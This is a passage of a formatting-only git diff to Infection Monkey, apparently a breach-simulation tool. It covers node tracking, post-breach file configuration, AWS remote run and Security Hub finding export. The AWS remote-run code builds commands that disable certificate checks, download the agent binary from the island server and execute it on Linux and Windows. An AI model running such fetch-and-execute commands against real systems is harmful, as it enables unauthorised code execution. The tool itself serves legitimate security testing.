"unknown", - "version": "unknown" - } - }) + "os": {"type": "unknown", "version": "unknown"}, + } + ) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod def create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool): new_node_insert_result = mongo.db.node.insert_one( { - "ip_addresses": bootloader_telem['ips'], - "domain_name": bootloader_telem['hostname'], + "ip_addresses": bootloader_telem["ips"], + "domain_name": bootloader_telem["hostname"], "will_monkey_run": will_monkey_run, "exploited": False, "creds": [], - "os": - { - "type": bootloader_telem['system'], - "version": bootloader_telem['os_version'] - } - }) + "os": { + "type": bootloader_telem["system"], + "version": bootloader_telem["os_version"], + }, + } + ) return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod - def get_or_create_node_from_bootloader_telem(bootloader_telem: Dict, will_monkey_run: bool) -> Dict: - if is_local_ips(bootloader_telem['ips']): + def get_or_create_node_from_bootloader_telem( + bootloader_telem: Dict, will_monkey_run: bool + ) -> Dict: + if is_local_ips(bootloader_telem["ips"]): raise NodeCreationException("Bootloader ran on island, no need to create new node.") - new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + new_node = mongo.db.node.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) # Temporary workaround to not create a node after monkey finishes - monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem['ips']}}) + monkey_node = mongo.db.monkey.find_one({"ip_addresses": {"$in": bootloader_telem["ips"]}}) if monkey_node: # Don't create new node, monkey node is already present return monkey_node if new_node is None: - new_node = NodeService.create_node_from_bootloader_telem(bootloader_telem, will_monkey_run) - if bootloader_telem['tunnel']: - dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem['tunnel']) + new_node = NodeService.create_node_from_bootloader_telem( + bootloader_telem, will_monkey_run + ) + if bootloader_telem["tunnel"]: + dst_node = NodeService.get_node_or_monkey_by_ip(bootloader_telem["tunnel"]) else: dst_node = NodeService.get_monkey_island_node() - src_label = NodeService.get_label_for_endpoint(new_node['_id']) - dst_label = NodeService.get_label_for_endpoint(dst_node['id']) - edge = EdgeService.get_or_create_edge(src_node_id=new_node['_id'], - dst_node_id=dst_node['id'], - src_label=src_label, - dst_label=dst_label) - edge.tunnel = bool(bootloader_telem['tunnel']) - edge.ip_address = bootloader_telem['ips'][0] - edge.group = NodeStates.get_by_keywords(['island']).value + src_label = NodeService.get_label_for_endpoint(new_node["_id"]) + dst_label = NodeService.get_label_for_endpoint(dst_node["id"]) + edge = EdgeService.get_or_create_edge( + src_node_id=new_node["_id"], + dst_node_id=dst_node["id"], + src_label=src_label, + dst_label=dst_label, + ) + edge.tunnel = bool(bootloader_telem["tunnel"]) + edge.ip_address = bootloader_telem["ips"][0] + edge.group = NodeStates.get_by_keywords(["island"]).value edge.save() return new_node @staticmethod - def get_or_create_node(ip_address, domain_name=''): + def get_or_create_node(ip_address, domain_name=""): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) if new_node is None: new_node = NodeService.insert_node(ip_address, domain_name) @@ -301,27 +303,25 @@ def get_node_by_id(node_id): @staticmethod def update_monkey_modify_time(monkey_id): - mongo.db.monkey.update({"_id": monkey_id}, - {"$set": {"modifytime": datetime.now()}}, - upsert=False) + mongo.db.monkey.update( + {"_id": monkey_id}, {"$set": {"modifytime": datetime.now()}}, upsert=False + ) @staticmethod def set_monkey_dead(monkey, is_dead): - props_to_set = {'dead': is_dead} + props_to_set = {"dead": is_dead} # Cancel the force kill once monkey died if is_dead: - props_to_set['config.alive'] = True + props_to_set["config.alive"] = True - mongo.db.monkey.update({"guid": monkey['guid']}, - {'$set': props_to_set}, - upsert=False) + mongo.db.monkey.update({"guid": monkey["guid"]}, {"$set": props_to_set}, upsert=False) @staticmethod def add_communication_info(monkey, info): - mongo.db.monkey.update({"guid": monkey["guid"]}, - {"$set": {'command_control_channel': info}}, - upsert=False) + mongo.db.monkey.update( + {"guid": monkey["guid"]}, {"$set": {"command_control_channel": info}}, upsert=False + ) @staticmethod def get_monkey_island_monkey(): @@ -338,12 +338,11 @@ def get_monkey_island_pseudo_id(): @staticmethod def get_monkey_island_pseudo_net_node(): - return \ - { - "id": NodeService.get_monkey_island_pseudo_id(), - "label": "MonkeyIsland", - "group": "island", - } + return { + "id": NodeService.get_monkey_island_pseudo_id(), + "label": "MonkeyIsland", + "group": "island", + } @staticmethod def get_monkey_island_node(): @@ -354,22 +353,23 @@ def get_monkey_island_node(): @staticmethod def set_node_exploited(node_id): - mongo.db.node.update( - {"_id": node_id}, - {"$set": {"exploited": True}} - ) + mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) @staticmethod def update_dead_monkeys(): # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes if mongo.db.monkey.find_one( - {'dead': {'$ne': True}, 'keepalive': {'$gte': datetime.now() - timedelta(minutes=10)}}): + {"dead": {"$ne": True}, "keepalive": {"$gte": datetime.now() - timedelta(minutes=10)}} + ): return # config.alive is changed to true to cancel the force kill of dead monkeys mongo.db.monkey.update( - {'keepalive': {'$lte': datetime.now() - timedelta(minutes=10)}, 'dead': {'$ne': True}}, - {'$set': {'dead': True, 'config.alive': True, 'modifytime': datetime.now()}}, upsert=False, multi=True) + {"keepalive": {"$lte": datetime.now() - timedelta(minutes=10)}, "dead": {"$ne": True}}, + {"$set": {"dead": True, "config.alive": True, "modifytime": datetime.now()}}, + upsert=False, + multi=True, + ) @staticmethod def is_any_monkey_alive(): @@ -386,17 +386,11 @@ def is_monkey_finished_running(): @staticmethod def add_credentials_to_monkey(monkey_id, creds): - mongo.db.monkey.update( - {'_id': monkey_id}, - {'$push': {'creds': creds}} - ) + mongo.db.monkey.update({"_id": monkey_id}, {"$push": {"creds": creds}}) @staticmethod def add_credentials_to_node(node_id, creds): - mongo.db.node.update( - {'_id': node_id}, - {'$push': {'creds': creds}} - ) + mongo.db.node.update({"_id": node_id}, {"$push": {"creds": creds}}) @staticmethod def get_node_or_monkey_by_ip(ip_address): @@ -414,16 +408,18 @@ def get_node_or_monkey_by_id(node_id): @staticmethod def get_node_hostname(node): - return node['hostname'] if 'hostname' in node else node['os']['version'] + return node["hostname"] if "hostname" in node else node["os"]["version"] @staticmethod def get_hostname_by_id(node_id): - return NodeService.get_node_hostname(mongo.db.monkey.find_one({'_id': node_id}, {'hostname': 1})) + return NodeService.get_node_hostname( + mongo.db.monkey.find_one({"_id": node_id}, {"hostname": 1}) + ) @staticmethod def get_label_for_endpoint(endpoint_id): if endpoint_id == ObjectId("000000000000000000000000"): - return 'MonkeyIsland' + return "MonkeyIsland" if Monkey.is_monkey(endpoint_id): return Monkey.get_label_by_id(endpoint_id) else: diff --git a/monkey/monkey_island/cc/services/post_breach_files.py b/monkey/monkey_island/cc/services/post_breach_files.py index 44f1b91b2c8..4215227eadd 100644 --- a/monkey/monkey_island/cc/services/post_breach_files.py +++ b/monkey/monkey_island/cc/services/post_breach_files.py @@ -11,18 +11,22 @@ logger = logging.getLogger(__name__) # Where to find file names in config -PBA_WINDOWS_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_windows_filename'] -PBA_LINUX_FILENAME_PATH = ['monkey', 'post_breach', 'PBA_linux_filename'] -UPLOADS_DIR_NAME = 'userUploads' +PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"] +PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] +UPLOADS_DIR_NAME = "userUploads" -ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, 'cc', UPLOADS_DIR_NAME) +ABS_UPLOAD_PATH = Path(MONKEY_ISLAND_ABS_PATH, "cc", UPLOADS_DIR_NAME) def remove_PBA_files(): if monkey_island.cc.services.config.ConfigService.get_config(): - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) + windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_WINDOWS_FILENAME_PATH + ) + linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_LINUX_FILENAME_PATH + ) if linux_filename: remove_file(linux_filename) if windows_filename: @@ -44,7 +48,11 @@ def set_config_PBA_files(config_json): :param config_json: config_json that will be modified """ if monkey_island.cc.services.config.ConfigService.get_config(): - linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH) - windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH) - config_json['monkey']['post_breach']['PBA_linux_filename'] = linux_filename - config_json['monkey']['post_breach']['PBA_windows_filename'] = windows_filename + linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_LINUX_FILENAME_PATH + ) + windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value( + PBA_WINDOWS_FILENAME_PATH + ) + config_json["monkey"]["post_breach"]["PBA_linux_filename"] = linux_filename + config_json["monkey"]["post_breach"]["PBA_windows_filename"] = windows_filename diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py index dfaa0e327fa..e640110e008 100644 --- a/monkey/monkey_island/cc/services/remote_run_aws.py +++ b/monkey/monkey_island/cc/services/remote_run_aws.py @@ -48,9 +48,13 @@ def run_aws_monkeys(instances, island_ip): return CmdRunner.run_multiple_commands( instances, lambda instance: RemoteRunAwsService.run_aws_monkey_cmd_async( - instance['instance_id'], RemoteRunAwsService._is_linux(instance['os']), island_ip, - instances_bitness[instance['instance_id']]), - lambda _, result: result.is_success) + instance["instance_id"], + RemoteRunAwsService._is_linux(instance["os"]), + island_ip, + instances_bitness[instance["instance_id"]], + ), + lambda _, result: result.is_success, + ) @staticmethod def is_running_on_aws(): @@ -73,18 +77,23 @@ def get_bitness(instances): return CmdRunner.run_multiple_commands( instances, lambda instance: RemoteRunAwsService.run_aws_bitness_cmd_async( - instance['instance_id'], RemoteRunAwsService._is_linux(instance['os'])), + instance["instance_id"], RemoteRunAwsService._is_linux(instance["os"]) + ), lambda instance, result: RemoteRunAwsService._get_bitness_by_result( - RemoteRunAwsService._is_linux(instance['os']), result)) + RemoteRunAwsService._is_linux(instance["os"]), result + ), + ) @staticmethod def _get_bitness_by_result(is_linux, result): if not result.is_success: return None elif is_linux: - return result.stdout.find('i686') == -1 # i686 means 32bit + return result.stdout.find("i686") == -1 # i686 means 32bit else: - return result.stdout.lower().find('programfiles(x86)') != -1 # if not found it means 32bit + return ( + result.stdout.lower().find("programfiles(x86)") != -1 + ) # if not found it means 32bit @staticmethod def run_aws_bitness_cmd_async(instance_id, is_linux): @@ -94,7 +103,7 @@ def run_aws_bitness_cmd_async(instance_id, is_linux): :param is_linux: Whether target is linux :return: Cmd """ - cmd_text = 'uname -m' if is_linux else 'Get-ChildItem Env:' + cmd_text = "uname -m" if is_linux else "Get-ChildItem Env:" return RemoteRunAwsService.run_aws_cmd_async(instance_id, is_linux, cmd_text) @staticmethod @@ -117,24 +126,42 @@ def run_aws_cmd_async(instance_id, is_linux, cmd_line): @staticmethod def _is_linux(os): - return 'linux' == os + return "linux" == os @staticmethod def _get_run_monkey_cmd_linux_line(bit_text, island_ip): - return r'wget --no-check-certificate https://' + island_ip + r':5000/api/monkey/download/monkey-linux-' + \ - bit_text + r'; chmod +x monkey-linux-' + bit_text + r'; ./monkey-linux-' + bit_text + r' m0nk3y -s ' + \ - island_ip + r':5000' + return ( + r"wget --no-check-certificate https://" + + island_ip + + r":5000/api/monkey/download/monkey-linux-" + + bit_text + + r"; chmod +x monkey-linux-" + + bit_text + + r"; ./monkey-linux-" + + bit_text + + r" m0nk3y -s " + + island_ip + + r":5000" + ) @staticmethod def _get_run_monkey_cmd_windows_line(bit_text, island_ip): - return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \ - r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \ - r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \ - r";Start-Process -FilePath '.\\monkey.exe' " \ - r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + return ( + r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" + r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + + island_ip + + r":5000/api/monkey/download/monkey-windows-" + + bit_text + + r".exe','.\\monkey.exe'); " + r";Start-Process -FilePath '.\\monkey.exe' " + r"-ArgumentList 'm0nk3y -s " + island_ip + r":5000'; " + ) @staticmethod def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip): - bit_text = '64' if is_64bit else '32' - return RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) if is_linux \ + bit_text = "64" if is_64bit else "32" + return ( + RemoteRunAwsService._get_run_monkey_cmd_linux_line(bit_text, island_ip) + if is_linux else RemoteRunAwsService._get_run_monkey_cmd_windows_line(bit_text, island_ip) + ) diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py index 1347775d0b4..1505b63aa1a 100644 --- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -8,7 +8,7 @@ from common.cloud.aws.aws_instance import AwsInstance from monkey_island.cc.services.reporting.exporter import Exporter -__authors__ = ['maor.rayzin', 'shay.nehmad'] +__authors__ = ["maor.rayzin", "shay.nehmad"] logger = logging.getLogger(__name__) @@ -20,9 +20,9 @@ class AWSExporter(Exporter): def handle_report(report_json): findings_list = [] - issues_list = report_json['recommendations']['issues'] + issues_list = report_json["recommendations"]["issues"] if not issues_list: - logger.info('No issues were found by the monkey, no need to send anything') + logger.info("No issues were found by the monkey, no need to send anything") return True # Not suppressing error here on purpose. @@ -30,11 +30,11 @@ def handle_report(report_json): for machine in issues_list: for issue in issues_list[machine]: - if issue.get('aws_instance_id', None): + if issue.get("aws_instance_id", None): findings_list.append(AWSExporter._prepare_finding(issue, current_aws_region)) if not AWSExporter._send_findings(findings_list, current_aws_region): - logger.error('Exporting findings to aws failed') + logger.error("Exporting findings to aws failed") return False return True @@ -48,30 +48,32 @@ def merge_two_dicts(x, y): @staticmethod def _prepare_finding(issue, region): findings_dict = { - 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, - 'ssh': AWSExporter._handle_ssh_issue, - 'shellshock': AWSExporter._handle_shellshock_issue, - 'tunnel': AWSExporter._handle_tunnel_issue, - 'elastic': AWSExporter._handle_elastic_issue, - 'smb_password': AWSExporter._handle_smb_password_issue, - 'smb_pth': AWSExporter._handle_smb_pth_issue, - 'sambacry': AWSExporter._handle_sambacry_issue, - 'shared_passwords': AWSExporter._handle_shared_passwords_issue, - 'wmi_password': AWSExporter._handle_wmi_password_issue, - 'wmi_pth': AWSExporter._handle_wmi_pth_issue, - 'ssh_key': AWSExporter._handle_ssh_key_issue, - 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, - 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, - 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, - 'struts2': AWSExporter._handle_struts2_issue, - 'weblogic': AWSExporter._handle_weblogic_issue, - 'hadoop': AWSExporter._handle_hadoop_issue, + "island_cross_segment": AWSExporter._handle_island_cross_segment_issue, + "ssh": AWSExporter._handle_ssh_issue, + "shellshock": AWSExporter._handle_shellshock_issue, + "tunnel": AWSExporter._handle_tunnel_issue, + "elastic": AWSExporter._handle_elastic_issue, + "smb_password": AWSExporter._handle_smb_password_issue, + "smb_pth": AWSExporter._handle_smb_pth_issue, + "sambacry": AWSExporter._handle_sambacry_issue, + "shared_passwords": AWSExporter._handle_shared_passwords_issue, + "wmi_password": AWSExporter._handle_wmi_password_issue, + "wmi_pth": AWSExporter._handle_wmi_pth_issue, + "ssh_key": AWSExporter._handle_ssh_key_issue, + "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue, + "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue, + "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue, + "struts2": AWSExporter._handle_struts2_issue, + "weblogic": AWSExporter._handle_weblogic_issue, + "hadoop": AWSExporter._handle_hadoop_issue, # azure and conficker are not relevant issues for an AWS env } configured_product_arn = INFECTION_MONKEY_ARN - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) - instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' + product_arn = "arn:aws:securityhub:{region}:{arn}".format( + region=region, arn=configured_product_arn + ) + instance_arn = "arn:aws:ec2:" + str(region) + ":instance:{instance_id}" # Not suppressing error here on purpose. account_id = AwsInstance().get_account_id() logger.debug("aws account id acquired: {}".format(account_id)) @@ -80,22 +82,22 @@ def _prepare_finding(issue, region): "SchemaVersion": "2018-10-08", "Id": uuid.uuid4().hex, "ProductArn": product_arn, - "GeneratorId": issue['type'], + "GeneratorId": issue["type"], "AwsAccountId": account_id, "RecordState": "ACTIVE", - "Types": [ - "Software and Configuration Checks/Vulnerabilities/CVE" - ], - "CreatedAt": datetime.now().isoformat() + 'Z', - "UpdatedAt": datetime.now().isoformat() + 'Z', + "Types": ["Software and Configuration Checks/Vulnerabilities/CVE"], + "CreatedAt": datetime.now().isoformat() + "Z", + "UpdatedAt": datetime.now().isoformat() + "Z", } - return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn)) + return AWSExporter.merge_two_dicts( + finding, findings_dict[issue["type"]](issue, instance_arn) + ) @staticmethod def _send_findings(findings_list, region): try: logger.debug("Trying to acquire securityhub boto3 client in " + region) - security_hub_client = boto3.client('securityhub', region_name=region) + security_hub_client = boto3.client("securityhub", region_name=region) logger.debug("Client acquired: {0}".format(repr(security_hub_client))) # Assumes the machine has the correct IAM role to do this, @see @@ -103,42 +105,39 @@ def _send_findings(findings_list, region): import_response = security_hub_client.batch_import_findings(Findings=findings_list) logger.debug("Import findings response: {0}".format(repr(import_response))) - if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + if import_response["ResponseMetadata"]["HTTPStatusCode"] == 200: return True else: return False except UnknownServiceError as e: - logger.warning('AWS exporter called but AWS-CLI security hub service is not installed. Error: {}'.format(e)) + logger.warning( + "AWS exporter called but AWS-CLI security hub service is not installed. Error: {}".format( + e + ) + ) return False except Exception as e: - logger.exception('AWS security hub findings failed to send. Error: {}'.format(e)) + logger.exception("AWS security hub findings failed to send. Error: {}".format(e)) return False @staticmethod def _get_finding_resource(instance_id, instance_arn): if instance_id: - return [{ - "Type": "AwsEc2Instance", - "Id": instance_arn.format(instance_id=instance_id) - }] + return [{"Type": "AwsEc2Instance", "Id": instance_arn.format(instance_id=instance_id)}] else: - return [{'Type': 'Other', 'Id': 'None'}] + return [{"Type": "Other", "Id": "None"}] @staticmethod - def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None): + def _build_generic_finding( + severity, title, description, recommendation, instance_arn, instance_id=None + ): finding = { - "Severity": { - "Product": severity, - "Normalized": 100 - }, - 'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn), + "Severity": {"Product": severity, "Normalized": 100}, + "Resources": AWSExporter._get_finding_resource(instance_id, instance_arn), "Title": title, "Description": description, - "Remediation": { - "Recommendation": { - "Text": recommendation - } - }} + "Remediation": {"Recommendation": {"Text": recommendation}}, + } return finding @@ -150,9 +149,9 @@ def _handle_tunnel_issue(issue, instance_arn): title="Weak segmentation - Machines were able to communicate over unused ports.", description="Use micro-segmentation policies to disable communication other than the required.", recommendation="Machines are not locked down at port level. " - "Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']), + "Network tunnel was set up from {0} to {1}".format(issue["machine"], issue["dest"]), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -162,13 +161,13 @@ def _handle_sambacry_issue(issue, instance_arn): severity=10, title="Samba servers are vulnerable to 'SambaCry'", description="Change {0} password to a complex one-use password that is not shared with other computers on the " - "network. Update your Samba server to 4.4.14 and up, " - "4.5.10 and up, or 4.6.4 and up.".format(issue['username']), + "network. Update your Samba server to 4.4.14 and up, " + "4.5.10 and up, or 4.6.4 and up.".format(issue["username"]), recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB " - "protocol with user {2} and its password, and used the SambaCry " - "vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']), + "protocol with user {2} and its password, and used the SambaCry " + "vulnerability.".format(issue["machine"], issue["ip_address"], issue["username"]), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -178,11 +177,13 @@ def _handle_smb_pth_issue(issue, instance_arn): severity=5, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), + "network.".format(issue["username"]), recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over " - "SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']), + "SMB protocol with user {2}.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -192,12 +193,12 @@ def _handle_ssh_issue(issue, instance_arn): severity=1, title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), + "network.".format(issue["username"]), recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH" - " protocol with user {2} and its " - "password.".format(issue['machine'], issue['ip_address'], issue['username']), + " protocol with user {2} and its " + "password.".format(issue["machine"], issue["ip_address"], issue["username"]), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -206,14 +207,15 @@ def _handle_ssh_key_issue(issue, instance_arn): return AWSExporter._build_generic_finding( severity=1, title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.", - description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']), + description="Protect {ssh_key} private key with a pass phrase.".format( + ssh_key=issue["ssh_key"] + ), recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated " - "over the SSH protocol with private key {ssh_key}.".format( - machine=issue['machine'], - ip_address=issue['ip_address'], - ssh_key=issue['ssh_key']), + "over the SSH protocol with private key {ssh_key}.".format( + machine=issue["machine"], ip_address=issue["ip_address"], ssh_key=issue["ssh_key"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -224,11 +226,11 @@ def _handle_elastic_issue(issue, instance_arn): title="Elastic Search servers are vulnerable to CVE-2015-1427", description="Update your Elastic Search server to version 1.4.3 and up.", recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made " - "possible because the Elastic Search server was not patched against CVE-2015-1427.".format( - issue['machine'], - issue['ip_address']), + "possible because the Elastic Search server was not patched against CVE-2015-1427.".format( + issue["machine"], issue["ip_address"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -238,14 +240,14 @@ def _handle_island_cross_segment_issue(issue, instance_arn): severity=1, title="Weak segmentation - Machines from different segments are able to communicate.", description="Segment your network and make sure there is no communication between machines from different " - "segments.", + "segments.", recommendation="The network can probably be segmented. A monkey instance on \ {0} in the networks {1} \ - could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], - issue['networks'], - issue['server_networks']), + could directly access the Monkey Island server in the networks {2}.".format( + issue["machine"], issue["networks"], issue["server_networks"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -255,9 +257,11 @@ def _handle_shared_passwords_issue(issue, instance_arn): severity=1, title="Multiple users have the same password", description="Some users are sharing passwords, this should be fixed by changing passwords.", - recommendation="These users are sharing access password: {0}.".format(issue['shared_with']), + recommendation="These users are sharing access password: {0}.".format( + issue["shared_with"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -268,11 +272,12 @@ def _handle_shellshock_issue(issue, instance_arn): title="Machines are vulnerable to 'Shellshock'", description="Update your Bash to a ShellShock-patched version.", recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. " - "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a " - "shell injection attack on the paths: {3}.".format( - issue['machine'], issue['ip_address'], issue['port'], issue['paths']), + "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a " + "shell injection attack on the paths: {3}.".format( + issue["machine"], issue["ip_address"], issue["port"], issue["paths"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -282,14 +287,13 @@ def _handle_smb_password_issue(issue, instance_arn): severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), + "network.".format(issue["username"]), recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB " - "protocol with user {2} and its password.".format( - issue['machine'], - issue['ip_address'], - issue['username']), + "protocol with user {2} and its password.".format( + issue["machine"], issue["ip_address"], issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -299,14 +303,13 @@ def _handle_wmi_password_issue(issue, instance_arn): severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.", + "network.", recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over " - "the WMI protocol with user {username} and its password.".format( - machine=issue['machine'], - ip_address=issue['ip_address'], - username=issue['username']), + "the WMI protocol with user {username} and its password.".format( + machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -316,14 +319,13 @@ def _handle_wmi_pth_issue(issue, instance_arn): severity=1, title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", description="Change {0}'s password to a complex one-use password that is not shared with other computers on the " - "network.".format(issue['username']), + "network.".format(issue["username"]), recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a " - "pass-the-hash attack over WMI protocol with user {username}".format( - machine=issue['machine'], - ip_address=issue['ip_address'], - username=issue['username']), + "pass-the-hash attack over WMI protocol with user {username}".format( + machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -334,9 +336,10 @@ def _handle_shared_passwords_domain_issue(issue, instance_arn): title="Multiple users have the same password.", description="Some domain users are sharing passwords, this should be fixed by changing passwords.", recommendation="These users are sharing access password: {shared_with}.".format( - shared_with=issue['shared_with']), + shared_with=issue["shared_with"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -345,12 +348,14 @@ def _handle_shared_admins_domain_issue(issue, instance_arn): return AWSExporter._build_generic_finding( severity=1, title="Shared local administrator account - Different machines have the same account as a local administrator.", - description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t " - "an unintentional local admin sharing.", + description="Make sure the right administrator accounts are managing the right machines, and that there isn't " + "an unintentional local admin sharing.", recommendation="Here is a list of machines which the account {username} is defined as an administrator: " - "{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']), + "{shared_machines}".format( + username=issue["username"], shared_machines=issue["shared_machines"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -361,10 +366,11 @@ def _handle_strong_users_on_crit_issue(issue, instance_arn): title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.", description="This critical machine is open to attacks via strong users with access to it.", recommendation="The services: {services} have been found on the machine thus classifying it as a critical " - "machine. These users has access to it:{threatening_users}.".format( - services=issue['services'], threatening_users=issue['threatening_users']), + "machine. These users has access to it:{threatening_users}.".format( + services=issue["services"], threatening_users=issue["threatening_users"] + ), instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None + instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None, ) @staticmethod @@ -375,10 +381,12 